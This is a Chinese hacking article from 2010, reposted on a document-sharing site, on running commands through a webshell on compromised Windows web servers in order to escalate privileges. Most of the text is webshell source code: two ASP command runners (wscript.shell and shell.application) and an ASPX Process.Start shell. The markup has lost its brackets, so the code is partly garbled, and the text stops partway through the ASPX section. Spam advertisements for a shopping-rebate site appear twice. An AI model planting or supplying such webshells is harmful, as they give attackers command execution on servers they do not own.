您好,欢迎访问三七文档
当前位置:首页 > 建筑/环境 > 房地产 > 浅谈在WEBSHELL下如何运行命令
浅谈在WEBSHELL下如何运行命令Author:kyo327EMail:humour327@gmail.comDate:2010-06-16Thanks:互联网[目录]0×00前言0×01在asp环境下运行命令的方法0×02在aspx环境下运行命令的方法0×03在php环境下运行命令的方法0×04在jsp环境下运行命令的方法0×05其他脚本环境下运行命令的方法0×06后记0×00前言随着互联网的发展和互联网用户的快速增长,越来越多的应用都转向B/S结构,因为它是跨平台的、易操作的、方便的、迅速的,这样不论用户使用什么样的操作系统,仅仅需要安装一个浏览器就能享受在线购物、网上支付、看电影、写博客等等各种各样便捷的服务,特别是WEB2.0时代的到来更增添了互联网的活力。但是这样就会导致越来越多的WEB安全问题的出现,比如sql注入、XSS、上传漏洞、弱口令、目录遍历等,虽然早在数十年前就被发现这些漏洞产生的根本原因,可它们却始终都没有退出历史的舞台,依然是WEB应用程序主要的安全问题,其实这也不是安全厂商和企业不重视安全,也许是恶意入侵者又从他们的安全解决方案里找到新的漏洞、也许是配合其他的漏洞形成一个不是漏洞的漏洞、也许是服务器配置方面出现了问题、也许是出于对用户的信任(因为不是所有的用户都是循规蹈矩的)、再或许是由新增加应用导致的。总之还是一句话,安全是一个整体。***************************************************************这里插播个广告,黑友们请无视,只是为朋友的网站能被搜索引擎收录,多加点流量。返利网,淘你喜欢,淘宝返利,淘宝返现购物。***************************************************************在当前这个时代,靠一个远程溢出直接获得一个SHELL对于一般的黑客来说是过于奢侈了,就算真的有传说中的80端口溢出,也要看目标值不值得用。所以一般来说大多数黑客还是从WEB应用入手。不论用什么方法吧,先拿到一个WEBSHELL是最基本的,哪怕仅仅是同C类网段的一台机器,起码可以试试ARP嗅探。而拿到一个WEBSHELL后,面临最多的一个问题就是提升权限。特别是在遇到虚拟主机的时候,当你的目标在另外一个目录,你没有办法进目标网站,仅仅是靠旁注进了同一服务器的其他站点,这种情况提权跨目录成了必经之路。但是要提升权限基本上都是要执行命令的,现在的大多数WEB服务器、虚拟主机等都做了安全设置,因此本文就谈一谈在各种脚本语言环境下都有哪些方法可以执行命令。(本文仅探讨服务器为windows的情况)0×01在asp环境下运行命令的方法当拿到一个asp的WEBSHELL时,想运行命令,一般是先查看一下组件支持情况。如图1图1可以看到,图1中显示是不支持wscript.shell和wscript.network的。而服务器有可能只是在注册表中改了名称,却没有卸载或删除C:\windows\System32\wshom.ocx。这样可以上传下面这段脚本试一试:MyCode1:objectrunat=serverid=shellscope=pageclassid=clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8/object%iferrthen%objectrunat=serverid=shellscope=pageclassid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B/object%endif%formmethod=postinputtype=textname=cmdxsize=60value=C:\DocumentsandSettings\AllUsers\cmd.exebrinputtype=textname=cmdsize=60value=%=request.form(cmd)%brinputtype=submitvalue=cmd命令/formtextareareadonlycols=80rows=20%OnErrorResumeNextifrequest.form(cmdx)=C:\DocumentsandSettings\AllUsers\cmd.exethenresponse.writeshell.exec(cmd.exe/c&request.form(cmd)).stdout.readallendifresponse.writeshell.exec(request.form(cmdx)&/c&request.form(cmd)).stdout.readall%/textarea当服务设置卸载(regsvr32/uC:\windows\System32\wshom.ocx)或删除了wshom.ocx时,我们还可以使用shell.application组件来运行命令。在我进行测试时,发现海洋2006中所带的shell.application运行器无法在windows2003中运行命令,在win2000中倒是没问题的。***************************************************************这里插播个广告,黑友们请无视,只是为朋友的网站能被搜索引擎收录,多加点流量。返利网,淘你喜欢,淘宝返利,淘宝返现购物。***************************************************************在后来的不经意的测试中,我发现了使用shell.application在win2003中运行命令的方法。代码如下:MyCode2:center%response.writefontsize=4color=redshellapplication执行命令无回显/font%BR程序所在的物理路径:%response.writerequest.servervariables(APPL_PHYSICAL_PATH)%/centerhtmltitleshellapplication执行命令bykyo327/titlebodybr/centerformaction=%=Request.ServerVariables(URL)%method=POSTbr程序路径:br/inputtype=textname=text1size=60value=C:\DocumentsandSettings\AllUsers\Documents\cmd.exebr/参数:br/inputtype=textname=text2size=60value=%=canshu%br/inputtype=submitname=makelovevalue=运行/form/center/body/html%appnames=Request.Form(text1)canshu=Request.Form(text2)ifappnamesthensetkyoshell=createobject(shell.application)kyoshell.ShellExecuteappnames,canshu,,open,0response.writecenter执行成功!/centerendif%运行命令如图2:图2:以上是我所知道的在asp环境下执行命令的两种方法。Mycode1是利用wscript.shell组件,mycode2是利用了shell.application组件。0×02在aspx环境下运行命令的方法微软的.net战略已经在全世界已经全面打响,未来肯定会完全的抛弃asp,当然从涌现出的越来越多asp.net的web应用就可以看得出来。由于.net强大的函数库和安装运行不依赖注册表的特性,如果你所获得的webshell支持aspx,基本这台服务器不会逃脱被运行命令的厄运。不过前提是你需要找到一个可写可执行exe的目录。现在我们谈一谈运行命令的几种方法:第一种,很多人估计很熟悉了,就是利用Process.Start()。代码如下:Mycode3:%@PageLanguage=c#validateRequest=falseaspcompat=true%%@importNamespace=System.Diagnostics%htmlxmlns==Head1runat=servertitlecmdshell/title/head!DOCTYPEHTMLPUBLIC-//W3C//DTDHTML4.0Transitional//ENscriptlanguage=C#runat=servervoidButton_Click1(objectsender,EventArgse){try{Processshell=newProcess();shell.StartInfo.FileName=PathTextBox.Text;shell.StartInfo.Arguments=ShellTextBox.Text;shell.StartInfo.UseShellExecute=false;shell.StartInfo.RedirectStandardInput=true;shell.StartInfo.RedirectStandardOutput=true;shell.StartInfo.RedirectStandardError=true;shell.Start();stringstr1=shell.StandardOutput.ReadToEnd();str1=str1.Replace(,<);str1=str1.Replace(,>);myLabel.Text=hrpre+str1+/pre;}catch(ExceptionError){myLabel2.Text=错误代码:+Error.Message;}}/scriptbodycenterfontsize=5color=redasp.net命令执行bykyo/fontbr//centerformid=form1runat=serverdivstyle=text-align:centerasp:PanelID=CmdPanelrunat=serverHeight=50pxWidth=800pxhr/程序路径:asp:TextBoxID=PathTextBoxrunat=serverWidth=395pxC:\DocumentsandSettings\AllUsers\Documents\cmd.exe/asp:TextBoxbr/命令参数:asp:TextBoxID=ShellTextBoxrunat=serverWidth=395px/cver/asp:TextBoxbr/asp:ButtonID=RunButtonrunat=serverOnClick=Button_Click1Text=运行//divdivstyle=text-align:leftasp:LabelID=myLabelrunat=serverEnableViewState=False/asp:Label/divdivstyle=text-align:rightasp:LabelID=myLabel2runat=serverEnableViewState=False
本文标题:浅谈在WEBSHELL下如何运行命令
链接地址:https://www.777doc.com/doc-2314297 .html